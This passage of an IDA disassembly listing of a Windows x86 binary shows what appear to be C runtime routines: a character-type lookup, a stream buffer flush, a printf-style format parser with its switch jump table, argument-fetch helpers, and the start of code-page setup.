ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] lea ecx, [eax+1] cmp ecx, 100h ja short loc_41F533 mov ecx, off_43C9B8 movzx eax, word ptr [ecx+eax*2] jmp short loc_41F585 ; --------------------------------------------------------------------------- loc_41F533: ; CODE XREF: sub_41F515+10j mov ecx, eax push esi mov esi, off_43C9B8 sar ecx, 8 movzx edx, cl test byte ptr [esi+edx*2+1], 80h pop esi jz short loc_41F558 and [ebp+var_2], 0 mov [ebp+var_4], cl mov [ebp+var_3], al push 2 jmp short loc_41F561 ; --------------------------------------------------------------------------- loc_41F558: ; CODE XREF: sub_41F515+33j and [ebp+var_3], 0 mov [ebp+var_4], al push 1 loc_41F561: ; CODE XREF: sub_41F515+41j pop eax lea ecx, [ebp+arg_0+2] push 1 push 0 push 0 push ecx push eax lea eax, [ebp+var_4] push eax push 1 call sub_423CEC add esp, 1Ch test eax, eax jnz short loc_41F581 leave retn ; --------------------------------------------------------------------------- loc_41F581: ; CODE XREF: sub_41F515+68j movzx eax, word ptr [ebp+arg_0+2] loc_41F585: ; CODE XREF: sub_41F515+1Cj and eax, [ebp+arg_4] leave retn sub_41F515 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F58A proc near ; CODE XREF: sub_41B886+46p ; sub_41B980+45p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] mov eax, [esi+0Ch] mov ebx, [esi+10h] test al, 82h jz loc_41F693 test al, 40h jnz loc_41F693 test al, 1 jz short loc_41F5C2 and dword ptr [esi+4], 0 test al, 10h jz loc_41F693 mov ecx, [esi+8] and al, 0FEh mov [esi], ecx mov [esi+0Ch], eax loc_41F5C2: ; CODE XREF: sub_41F58A+20j mov eax, [esi+0Ch] and dword ptr [esi+4], 0 and [ebp+arg_4], 0 and al, 0EFh or al, 2 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_41F5FC cmp esi, offset dword_43D0C8 jz short loc_41F5EA cmp esi, offset dword_43D0E8 jnz short loc_41F5F5 loc_41F5EA: ; CODE XREF: sub_41F58A+56j push ebx call sub_423E35 test eax, eax pop ecx jnz short loc_41F5FC loc_41F5F5: ; CODE XREF: sub_41F58A+5Ej push esi call sub_4239EF pop ecx loc_41F5FC: ; CODE XREF: sub_41F58A+4Ej ; sub_41F58A+69j test word ptr [esi+0Ch], 108h push edi jz short loc_41F669 mov eax, [esi+8] mov edi, [esi] sub edi, eax lea ecx, [eax+1] mov [esi], ecx mov ecx, [esi+18h] dec ecx test edi, edi mov [esi+4], ecx jle short loc_41F62C push edi push eax push ebx call sub_42291D add esp, 0Ch mov [ebp+arg_4], eax jmp short loc_41F65F ; --------------------------------------------------------------------------- loc_41F62C: ; CODE XREF: sub_41F58A+90j cmp ebx, 0FFFFFFFFh jz short loc_41F647 mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_4DCC80[eax*4] lea eax, [eax+ecx*8] jmp short loc_41F64C ; --------------------------------------------------------------------------- loc_41F647: ; CODE XREF: sub_41F58A+A5j mov eax, offset dword_43D010 loc_41F64C: ; CODE XREF: sub_41F58A+BBj test byte ptr [eax+4], 20h jz short loc_41F65F push 2 push 0 push ebx call sub_42272B add esp, 0Ch loc_41F65F: ; CODE XREF: sub_41F58A+A0j ; sub_41F58A+C6j mov eax, [esi+8] mov cl, byte ptr [ebp+arg_0] mov [eax], cl jmp short loc_41F67D ; --------------------------------------------------------------------------- loc_41F669: ; CODE XREF: sub_41F58A+79j push 1 lea eax, [ebp+arg_0] pop edi push edi push eax push ebx call sub_42291D add esp, 0Ch mov [ebp+arg_4], eax loc_41F67D: ; CODE XREF: sub_41F58A+DDj cmp [ebp+arg_4], edi pop edi jz short loc_41F689 or dword ptr [esi+0Ch], 20h jmp short loc_41F698 ; --------------------------------------------------------------------------- loc_41F689: ; CODE XREF: sub_41F58A+F7j mov eax, [ebp+arg_0] and eax, 0FFh jmp short loc_41F69B ; --------------------------------------------------------------------------- loc_41F693: ; CODE XREF: sub_41F58A+10j ; sub_41F58A+18j ... or al, 20h mov [esi+0Ch], eax loc_41F698: ; CODE XREF: sub_41F58A+FDj or eax, 0FFFFFFFFh loc_41F69B: ; CODE XREF: sub_41F58A+107j pop esi pop ebx pop ebp retn sub_41F58A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F69F proc near ; CODE XREF: sub_41B886+29p ; sub_41B980+28p ... var_248 = byte ptr -248h var_247 = byte ptr -247h var_49 = byte ptr -49h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 248h push ebx push esi push edi mov edi, [ebp+arg_4] xor esi, esi mov bl, [edi] inc edi test bl, bl mov [ebp+var_C], esi mov [ebp+var_14], esi mov [ebp+arg_4], edi jz loc_41FDB8 mov ecx, [ebp+var_10] xor edx, edx jmp short loc_41F6D3 ; --------------------------------------------------------------------------- loc_41F6CB: ; CODE XREF: sub_41F69F+713j mov ecx, [ebp+var_10] mov esi, [ebp+var_30] xor edx, edx loc_41F6D3: ; CODE XREF: sub_41F69F+2Aj cmp [ebp+var_14], edx jl loc_41FDB8 cmp bl, 20h jl short loc_41F6F4 cmp bl, 78h jg short loc_41F6F4 movsx eax, bl mov al, [eax+42773Ch] and eax, 0Fh jmp short loc_41F6F6 ; --------------------------------------------------------------------------- loc_41F6F4: ; CODE XREF: sub_41F69F+40j ; sub_41F69F+45j xor eax, eax loc_41F6F6: ; CODE XREF: sub_41F69F+53j movsx eax, byte_42775C[esi+eax*8] sar eax, 4 cmp eax, 7 ; switch 8 cases mov [ebp+var_30], eax ja loc_41FDA7 ; default jmp off_41FDC0[eax*4] ; switch jump loc_41F714: ; DATA XREF: .packed:off_41FDC0o or [ebp+var_10], 0FFFFFFFFh ; jumptable 0041F70D case 1 mov [ebp+var_34], edx mov [ebp+var_28], edx mov [ebp+var_20], edx mov [ebp+var_1C], edx mov [ebp+var_4], edx mov [ebp+var_24], edx jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F72F: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: .packed:off_41FDC0o movsx eax, bl ; jumptable 0041F70D case 2 sub eax, 20h jz short loc_41F772 sub eax, 3 jz short loc_41F769 sub eax, 8 jz short loc_41F760 dec eax dec eax jz short loc_41F757 sub eax, 3 jnz loc_41FDA7 ; default or [ebp+var_4], 8 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F757: ; CODE XREF: sub_41F69F+A4j or [ebp+var_4], 4 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F760: ; CODE XREF: sub_41F69F+A0j or [ebp+var_4], 1 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F769: ; CODE XREF: sub_41F69F+9Bj or byte ptr [ebp+var_4], 80h jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F772: ; CODE XREF: sub_41F69F+96j or [ebp+var_4], 2 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F77B: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: .packed:off_41FDC0o cmp bl, 2Ah ; jumptable 0041F70D case 3 jnz short loc_41F7A3 lea eax, [ebp+arg_8] push eax call sub_41FE7E test eax, eax pop ecx mov [ebp+var_20], eax jge loc_41FDA7 ; default or [ebp+var_4], 4 neg eax loc_41F79B: ; CODE XREF: sub_41F69F+111j mov [ebp+var_20], eax jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F7A3: ; CODE XREF: sub_41F69F+DFj mov eax, [ebp+var_20] movsx ecx, bl lea eax, [eax+eax*4] lea eax, [ecx+eax*2-30h] jmp short loc_41F79B ; --------------------------------------------------------------------------- loc_41F7B2: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: .packed:off_41FDC0o mov [ebp+var_10], edx ; jumptable 0041F70D case 4 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F7BA: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: .packed:off_41FDC0o cmp bl, 2Ah ; jumptable 0041F70D case 5 jnz short loc_41F7DD lea eax, [ebp+arg_8] push eax call sub_41FE7E test eax, eax pop ecx mov [ebp+var_10], eax jge loc_41FDA7 ; default or [ebp+var_10], 0FFFFFFFFh jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F7DD: ; CODE XREF: sub_41F69F+11Ej lea eax, [ecx+ecx*4] movsx ecx, bl lea eax, [ecx+eax*2-30h] mov [ebp+var_10], eax jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F7EF: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: .packed:off_41FDC0o cmp bl, 49h ; jumptable 0041F70D case 6 jz short loc_41F822 cmp bl, 68h jz short loc_41F819 cmp bl, 6Ch jz short loc_41F810 cmp bl, 77h jnz loc_41FDA7 ; default or byte ptr [ebp+var_4+1], 8 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F810: ; CODE XREF: sub_41F69F+15Dj or [ebp+var_4], 10h jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F819: ; CODE XREF: sub_41F69F+158j or [ebp+var_4], 20h jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F822: ; CODE XREF: sub_41F69F+153j cmp byte ptr [edi], 36h jnz short loc_41F83B cmp byte ptr [edi+1], 34h jnz short loc_41F83B inc edi inc edi or byte ptr [ebp+var_4+1], 80h mov [ebp+arg_4], edi jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F83B: ; CODE XREF: sub_41F69F+186j ; sub_41F69F+18Cj mov [ebp+var_30], edx loc_41F83E: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: .packed:off_41FDC0o mov ecx, off_43C9B8 ; jumptable 0041F70D case 0 mov [ebp+var_24], edx movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_41F86A lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_41FDE0 mov bl, [edi] add esp, 0Ch inc edi mov [ebp+arg_4], edi loc_41F86A: ; CODE XREF: sub_41F69F+1B0j lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_41FDE0 add esp, 0Ch jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F882: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: .packed:off_41FDC0o movsx eax, bl ; jumptable 0041F70D case 7 cmp eax, 67h jg loc_41FAAA cmp eax, 65h jge loc_41F92D cmp eax, 58h jg loc_41F98B jz loc_41FB1E sub eax, 43h jz loc_41F94E dec eax dec eax jz short loc_41F923 dec eax dec eax jz short loc_41F923 sub eax, 0Ch jnz loc_41FCA9 test word ptr [ebp+var_4], 830h jnz short loc_41F8CC or byte ptr [ebp+var_4+1], 8 loc_41F8CC: ; CODE XREF: sub_41F69F+227j ; sub_41F69F+42Aj mov esi, [ebp+var_10] cmp esi, 0FFFFFFFFh jnz short loc_41F8D9 mov esi, 7FFFFFFFh loc_41F8D9: ; CODE XREF: sub_41F69F+233j lea eax, [ebp+arg_8] push eax call sub_41FE7E test word ptr [ebp+var_4], 810h pop ecx mov ecx, eax mov [ebp+var_8], ecx jz loc_41FAF2 test ecx, ecx jnz short loc_41F901 mov ecx, off_43CBD4 mov [ebp+var_8], ecx loc_41F901: ; CODE XREF: sub_41F69F+257j mov [ebp+var_24], 1 mov eax, ecx loc_41F90A: ; CODE XREF: sub_41F69F+282j mov edx, esi dec esi test edx, edx jz loc_41FAE9 cmp word ptr [eax], 0 jz loc_41FAE9 inc eax inc eax jmp short loc_41F90A ; --------------------------------------------------------------------------- loc_41F923: ; CODE XREF: sub_41F69F+212j ; sub_41F69F+216j mov [ebp+var_34], 1 add bl, 20h loc_41F92D: ; CODE XREF: sub_41F69F+1F2j or [ebp+var_4], 40h lea edi, [ebp+var_248] cmp ecx, edx mov [ebp+var_8], edi jge loc_41FA11 mov [ebp+var_10], 6 jmp loc_41FA1F ; --------------------------------------------------------------------------- loc_41F94E: ; CODE XREF: sub_41F69F+20Aj test word ptr [ebp+var_4], 830h jnz short loc_41F95A or byte ptr [ebp+var_4+1], 8 loc_41F95A: ; CODE XREF: sub_41F69F+2B5j ; sub_41F69F+2F4j test word ptr [ebp+var_4], 810h lea eax, [ebp+arg_8] push eax jz short loc_41F9A1 call sub_41FE9B push eax lea eax, [ebp+var_248] push eax call sub_423E5B add esp, 0Ch mov [ebp+var_C], eax test eax, eax jge short loc_41F9B4 mov [ebp+var_28], 1 jmp short loc_41F9B4 ; --------------------------------------------------------------------------- loc_41F98B: ; CODE XREF: sub_41F69F+1FBj sub eax, 5Ah jz short loc_41F9C2 sub eax, 9 jz short loc_41F95A dec eax jz loc_41FB84 jmp loc_41FCA9 ; --------------------------------------------------------------------------- loc_41F9A1: ; CODE XREF: sub_41F69F+2C5j call sub_41FE7E pop ecx mov [ebp+var_248], al mov [ebp+var_C], 1 loc_41F9B4: ; CODE XREF: sub_41F69F+2E1j ; sub_41F69F+2EAj lea eax, [ebp+var_248] mov [ebp+var_8], eax jmp loc_41FCA9 ; --------------------------------------------------------------------------- loc_41F9C2: ; CODE XREF: sub_41F69F+2EFj lea eax, [ebp+arg_8] push eax call sub_41FE7E test eax, eax pop ecx jz short loc_41FA03 mov ecx, [eax+4] test ecx, ecx jz short loc_41FA03 test byte ptr [ebp+var_4+1], 8 jz short loc_41F9F4 movsx eax, word ptr [eax] shr eax, 1 mov [ebp+var_8], ecx mov [ebp+var_C], eax mov [ebp+var_24], 1 jmp loc_41FCA9 ; --------------------------------------------------------------------------- loc_41F9F4: ; CODE XREF: sub_41F69F+33Cj and [ebp+var_24], 0 mov [ebp+var_8], ecx movsx eax, word ptr [eax] jmp loc_41FCA6 ; --------------------------------------------------------------------------- loc_41FA03: ; CODE XREF: sub_41F69F+32Fj ; sub_41F69F+336j mov eax, off_43CBD0 mov [ebp+var_8], eax push eax jmp loc_41FA9F ; --------------------------------------------------------------------------- loc_41FA11: ; CODE XREF: sub_41F69F+29Dj jnz short loc_41FA1F cmp bl, 67h jnz short loc_41FA1F mov [ebp+var_10], 1 loc_41FA1F: ; CODE XREF: sub_41F69F+2AAj ; sub_41F69F:loc_41FA11j ... mov eax, [ebp+arg_8] push [ebp+var_34] add eax, 8 mov [ebp+arg_8], eax push [ebp+var_10] mov ecx, [eax-8] mov [ebp+var_48], ecx mov eax, [eax-4] mov [ebp+var_44], eax movsx eax, bl push eax lea eax, [ebp+var_248] push eax lea eax, [ebp+var_48] push eax call off_43CF60 mov esi, [ebp+var_4] add esp, 14h and esi, 80h jz short loc_41FA71 cmp [ebp+var_10], 0 jnz short loc_41FA71 lea eax, [ebp+var_248] push eax call off_43CF6C pop ecx loc_41FA71: ; CODE XREF: sub_41F69F+3BCj ; sub_41F69F+3C2j cmp bl, 67h jnz short loc_41FA88 test esi, esi jnz short loc_41FA88 lea eax, [ebp+var_248] push eax call off_43CF64 pop ecx loc_41FA88: ; CODE XREF: sub_41F69F+3D5j ; sub_41F69F+3D9j cmp [ebp+var_248], 2Dh jnz short loc_41FA9E or byte ptr [ebp+var_4+1], 1 lea edi, [ebp+var_247] mov [ebp+var_8], edi loc_41FA9E: ; CODE XREF: sub_41F69F+3F0j push edi loc_41FA9F: ; CODE XREF: sub_41F69F+36Dj call sub_41AFE0 pop ecx jmp loc_41FCA6 ; --------------------------------------------------------------------------- loc_41FAAA: ; CODE XREF: sub_41F69F+1E9j sub eax, 69h jz loc_41FB84 sub eax, 5 jz loc_41FB5A dec eax jz loc_41FB47 dec eax jz short loc_41FB17 sub eax, 3 jz loc_41F8CC dec eax dec eax jz loc_41FB88 sub eax, 3 jnz loc_41FCA9 mov [ebp+var_2C], 27h jmp short loc_41FB25 ; --------------------------------------------------------------------------- loc_41FAE9: ; CODE XREF: sub_41F69F+270j ; sub_41F69F+27Aj sub eax, ecx sar eax, 1 jmp loc_41FCA6 ; --------------------------------------------------------------------------- loc_41FAF2: ; CODE XREF: sub_41F69F+24Fj test ecx, ecx jnz short loc_41FAFF mov ecx, off_43CBD0 mov [ebp+var_8], ecx loc_41FAFF: ; CODE XREF: sub_41F69F+455j mov eax, ecx loc_41FB01: ; CODE XREF: sub_41F69F+46Fj mov edx, esi dec esi test edx, edx jz short loc_41FB10 cmp byte ptr [eax], 0 jz short loc_41FB10 inc eax jmp short loc_41FB01 ; --------------------------------------------------------------------------- loc_41FB10: ; CODE XREF: sub_41F69F+467j ; sub_41F69F+46Cj sub eax, ecx jmp loc_41FCA6 ; --------------------------------------------------------------------------- loc_41FB17: ; CODE XREF: sub_41F69F+425j mov [ebp+var_10], 8 loc_41FB1E: ; CODE XREF: sub_41F69F+201j mov [ebp+var_2C], 7 loc_41FB25: ; CODE XREF: sub_41F69F+448j test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 10h jz short loc_41FB8F mov al, byte ptr [ebp+var_2C] mov [ebp+var_16], 30h add al, 51h mov [ebp+var_1C], 2 mov [ebp+var_15], al jmp short loc_41FB8F ; --------------------------------------------------------------------------- loc_41FB47: ; CODE XREF: sub_41F69F+41Ej test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 8 jz short loc_41FB8F or byte ptr [ebp+var_4+1], 2 jmp short loc_41FB8F ; --------------------------------------------------------------------------- loc_41FB5A: ; CODE XREF: sub_41F69F+417j lea eax, [ebp+arg_8] push eax call sub_41FE7E test byte ptr [ebp+var_4], 20h pop ecx jz short loc_41FB73 mov cx, word ptr [ebp+var_14] mov [eax], cx jmp short loc_41FB78 ; --------------------------------------------------------------------------- loc_41FB73: ; CODE XREF: sub_41F69F+4C9j mov ecx, [ebp+var_14] mov [eax], ecx loc_41FB78: ; CODE XREF: sub_41F69F+4D2j mov [ebp+var_28], 1 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41FB84: ; CODE XREF: sub_41F69F+2F7j ; sub_41F69F+40Ej or [ebp+var_4], 40h loc_41FB88: ; CODE XREF: sub_41F69F+432j mov [ebp+var_C], 0Ah loc_41FB8F: ; CODE XREF: sub_41F69F+491j ; sub_41F69F+4A6j ... test byte ptr [ebp+var_4+1], 80h jz short loc_41FBA1 lea eax, [ebp+arg_8] push eax call sub_41FE8B pop ecx jmp short loc_41FBE2 ; --------------------------------------------------------------------------- loc_41FBA1: ; CODE XREF: sub_41F69F+4F4j test byte ptr [ebp+var_4], 20h jz short loc_41FBC8 test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_41FBBD call sub_41FE7E pop ecx movsx eax, ax loc_41FBBA: ; CODE XREF: sub_41F69F+527j ; sub_41F69F+539j cdq jmp short loc_41FBE2 ; --------------------------------------------------------------------------- loc_41FBBD: ; CODE XREF: sub_41F69F+510j call sub_41FE7E pop ecx movzx eax, ax jmp short loc_41FBBA ; --------------------------------------------------------------------------- loc_41FBC8: ; CODE XREF: sub_41F69F+506j test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_41FBDA call sub_41FE7E pop ecx jmp short loc_41FBBA ; --------------------------------------------------------------------------- loc_41FBDA: ; CODE XREF: sub_41F69F+531j call sub_41FE7E pop ecx xor edx, edx loc_41FBE2: ; CODE XREF: sub_41F69F+500j ; sub_41F69F+51Cj test byte ptr [ebp+var_4], 40h jz short loc_41FC03 test edx, edx jg short loc_41FC03 jl short loc_41FBF2 test eax, eax jnb short loc_41FC03 loc_41FBF2: ; CODE XREF: sub_41F69F+54Dj neg eax adc edx, 0 mov esi, eax neg edx or byte ptr [ebp+var_4+1], 1 mov edi, edx jmp short loc_41FC07 ; --------------------------------------------------------------------------- loc_41FC03: ; CODE XREF: sub_41F69F+547j ; sub_41F69F+54Bj ... mov esi, eax mov edi, edx loc_41FC07: ; CODE XREF: sub_41F69F+562j test byte ptr [ebp+var_4+1], 80h jnz short loc_41FC10 and edi, 0 loc_41FC10: ; CODE XREF: sub_41F69F+56Cj cmp [ebp+var_10], 0 jge short loc_41FC1F mov [ebp+var_10], 1 jmp short loc_41FC23 ; --------------------------------------------------------------------------- loc_41FC1F: ; CODE XREF: sub_41F69F+575j and [ebp+var_4], 0FFFFFFF7h loc_41FC23: ; CODE XREF: sub_41F69F+57Ej mov eax, esi or eax, edi jnz short loc_41FC2D and [ebp+var_1C], 0 loc_41FC2D: ; CODE XREF: sub_41F69F+588j lea eax, [ebp+var_49] mov [ebp+var_8], eax loc_41FC33: ; CODE XREF: sub_41F69F+5DDj mov eax, [ebp+var_10] dec [ebp+var_10] test eax, eax jg short loc_41FC43 mov eax, esi or eax, edi jz short loc_41FC7E loc_41FC43: ; CODE XREF: sub_41F69F+59Cj mov eax, [ebp+var_C] cdq push edx push eax push edi push esi mov [ebp+var_40], eax mov [ebp+var_3C], edx call sub_41D480 push [ebp+var_3C] mov ebx, eax add ebx, 30h push [ebp+var_40] push edi push esi call sub_41D410 cmp ebx, 39h mov esi, eax mov edi, edx jle short loc_41FC74 add ebx, [ebp+var_2C] loc_41FC74: ; CODE XREF: sub_41F69F+5D0j mov eax, [ebp+var_8] dec [ebp+var_8] mov [eax], bl jmp short loc_41FC33 ; --------------------------------------------------------------------------- loc_41FC7E: ; CODE XREF: sub_41F69F+5A2j lea eax, [ebp+var_49] sub eax, [ebp+var_8] inc [ebp+var_8] test byte ptr [ebp+var_4+1], 2 mov [ebp+var_C], eax jz short loc_41FCA9 mov ecx, [ebp+var_8] cmp byte ptr [ecx], 30h jnz short loc_41FC9C test eax, eax jnz short loc_41FCA9 loc_41FC9C: ; CODE XREF: sub_41F69F+5F7j dec [ebp+var_8] inc eax mov ecx, [ebp+var_8] mov byte ptr [ecx], 30h loc_41FCA6: ; CODE XREF: sub_41F69F+35Fj ; sub_41F69F+406j ... mov [ebp+var_C], eax loc_41FCA9: ; CODE XREF: sub_41F69F+21Bj ; sub_41F69F+2FDj ... cmp [ebp+var_28], 0 jnz loc_41FDA7 ; default mov ebx, [ebp+var_4] test bl, 40h jz short loc_41FCE1 test bh, 1 jz short loc_41FCC6 mov [ebp+var_16], 2Dh jmp short loc_41FCDA ; --------------------------------------------------------------------------- loc_41FCC6: ; CODE XREF: sub_41F69F+61Fj test bl, 1 jz short loc_41FCD1 mov [ebp+var_16], 2Bh jmp short loc_41FCDA ; --------------------------------------------------------------------------- loc_41FCD1: ; CODE XREF: sub_41F69F+62Aj test bl, 2 jz short loc_41FCE1 mov [ebp+var_16], 20h loc_41FCDA: ; CODE XREF: sub_41F69F+625j ; sub_41F69F+630j mov [ebp+var_1C], 1 loc_41FCE1: ; CODE XREF: sub_41F69F+61Aj ; sub_41F69F+635j mov esi, [ebp+var_20] sub esi, [ebp+var_1C] sub esi, [ebp+var_C] test bl, 0Ch jnz short loc_41FD01 lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_41FE15 add esp, 10h loc_41FD01: ; CODE XREF: sub_41F69F+64Ej lea eax, [ebp+var_14] push eax lea eax, [ebp+var_16] push [ebp+arg_0] push [ebp+var_1C] push eax call sub_41FE46 add esp, 10h test bl, 8 jz short loc_41FD33 test bl, 4 jnz short loc_41FD33 lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 30h call sub_41FE15 add esp, 10h loc_41FD33: ; CODE XREF: sub_41F69F+67Bj ; sub_41F69F+680j cmp [ebp+var_24], 0 jz short loc_41FD7A cmp [ebp+var_C], 0 jle short loc_41FD7A mov eax, [ebp+var_C] mov ebx, [ebp+var_8] lea edi, [eax-1] loc_41FD48: ; CODE XREF: sub_41F69F+6D7j mov ax, [ebx] inc ebx push eax lea eax, [ebp+var_38] push eax inc ebx call sub_423E5B pop ecx test eax, eax pop ecx jle short loc_41FD8F lea ecx, [ebp+var_14] push ecx push [ebp+arg_0] push eax lea eax, [ebp+var_38] push eax call sub_41FE46 add esp, 10h mov eax, edi dec edi test eax, eax jnz short loc_41FD48 jmp short loc_41FD8F ; --------------------------------------------------------------------------- loc_41FD7A: ; CODE XREF: sub_41F69F+698j ; sub_41F69F+69Ej lea eax, [ebp+var_14] push eax push [ebp+arg_0] push [ebp+var_C] push [ebp+var_8] call sub_41FE46 add esp, 10h loc_41FD8F: ; CODE XREF: sub_41F69F+6BCj ; sub_41F69F+6D9j test byte ptr [ebp+var_4], 4 jz short loc_41FDA7 ; default lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_41FE15 add esp, 10h loc_41FDA7: ; CODE XREF: sub_41F69F+68j ; sub_41F69F+8Bj ... mov edi, [ebp+arg_4] ; default mov bl, [edi] inc edi test bl, bl mov [ebp+arg_4], edi jnz loc_41F6CB loc_41FDB8: ; CODE XREF: sub_41F69F+1Fj ; sub_41F69F+37j mov eax, [ebp+var_14] pop edi pop esi pop ebx leave retn sub_41F69F endp ; --------------------------------------------------------------------------- off_41FDC0 dd offset loc_41F83E ; DATA XREF: sub_41F69F+6Er dd offset loc_41F714 ; jump table for switch statement dd offset loc_41F72F dd offset loc_41F77B dd offset loc_41F7B2 dd offset loc_41F7BA dd offset loc_41F7EF dd offset loc_41F882 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FDE0 proc near ; CODE XREF: sub_41F69F+1BDp ; sub_41F69F+1D6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov ecx, [ebp+arg_4] dec dword ptr [ecx+4] js short loc_41FDF9 mov edx, [ecx] mov al, byte ptr [ebp+arg_0] mov [edx], al inc dword ptr [ecx] movzx eax, al jmp short loc_41FE04 ; --------------------------------------------------------------------------- loc_41FDF9: ; CODE XREF: sub_41FDE0+9j push ecx push [ebp+arg_0] call sub_41F58A pop ecx pop ecx loc_41FE04: ; CODE XREF: sub_41FDE0+17j cmp eax, 0FFFFFFFFh mov eax, [ebp+arg_8] jnz short loc_41FE11 or dword ptr [eax], 0FFFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_41FE11: ; CODE XREF: sub_41FDE0+2Aj inc dword ptr [eax] pop ebp retn sub_41FDE0 endp ; =============== S U B R O U T I N E ======================================= sub_41FE15 proc near ; CODE XREF: sub_41F69F+65Ap ; sub_41F69F+68Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push esi push edi mov edi, [esp+8+arg_4] mov eax, edi dec edi test eax, eax jle short loc_41FE43 mov esi, [esp+8+arg_C] loc_41FE26: ; CODE XREF: sub_41FE15+2Cj push esi push [esp+0Ch+arg_8] push [esp+10h+arg_0] call sub_41FDE0 add esp, 0Ch cmp dword ptr [esi], 0FFFFFFFFh jz short loc_41FE43 mov eax, edi dec edi test eax, eax jg short loc_41FE26 loc_41FE43: ; CODE XREF: sub_41FE15+Bj ; sub_41FE15+25j pop edi pop esi retn sub_41FE15 endp ; =============== S U B R O U T I N E ======================================= sub_41FE46 proc near ; CODE XREF: sub_41F69F+670p ; sub_41F69F+6CAp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_4] mov eax, ebx dec ebx push esi push edi test eax, eax jle short loc_41FE7A mov edi, [esp+0Ch+arg_C] mov esi, [esp+0Ch+arg_0] loc_41FE5C: ; CODE XREF: sub_41FE46+32j movsx eax, byte ptr [esi] push edi inc esi push [esp+10h+arg_8] push eax call sub_41FDE0 add esp, 0Ch cmp dword ptr [edi], 0FFFFFFFFh jz short loc_41FE7A mov eax, ebx dec ebx test eax, eax jg short loc_41FE5C loc_41FE7A: ; CODE XREF: sub_41FE46+Cj ; sub_41FE46+2Bj pop edi pop esi pop ebx retn sub_41FE46 endp ; =============== S U B R O U T I N E ======================================= sub_41FE7E proc near ; CODE XREF: sub_41F69F+E5p ; sub_41F69F+124p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov eax, [eax-4] retn sub_41FE7E endp ; =============== S U B R O U T I N E ======================================= sub_41FE8B proc near ; CODE XREF: sub_41F69F+4FAp arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 8 mov ecx, [eax] mov eax, [ecx-8] mov edx, [ecx-4] retn sub_41FE8B endp ; =============== S U B R O U T I N E ======================================= sub_41FE9B proc near ; CODE XREF: sub_41F69F+2C7p arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov ax, [eax-4] retn sub_41FE9B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FEA9 proc near ; CODE XREF: sub_42026D+Bp var_18 = dword ptr -18h var_12 = byte ptr -12h var_11 = byte ptr -11h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi push [ebp+arg_0] call sub_420042 ; GetOEMCP mov esi, eax pop ecx cmp esi, dword_4DCD84 mov [ebp+arg_0], esi jz loc_420036 xor ebx, ebx cmp esi, ebx jz loc_42002C xor edx, edx mov eax, offset dword_43CBE0 loc_41FEDD: ; 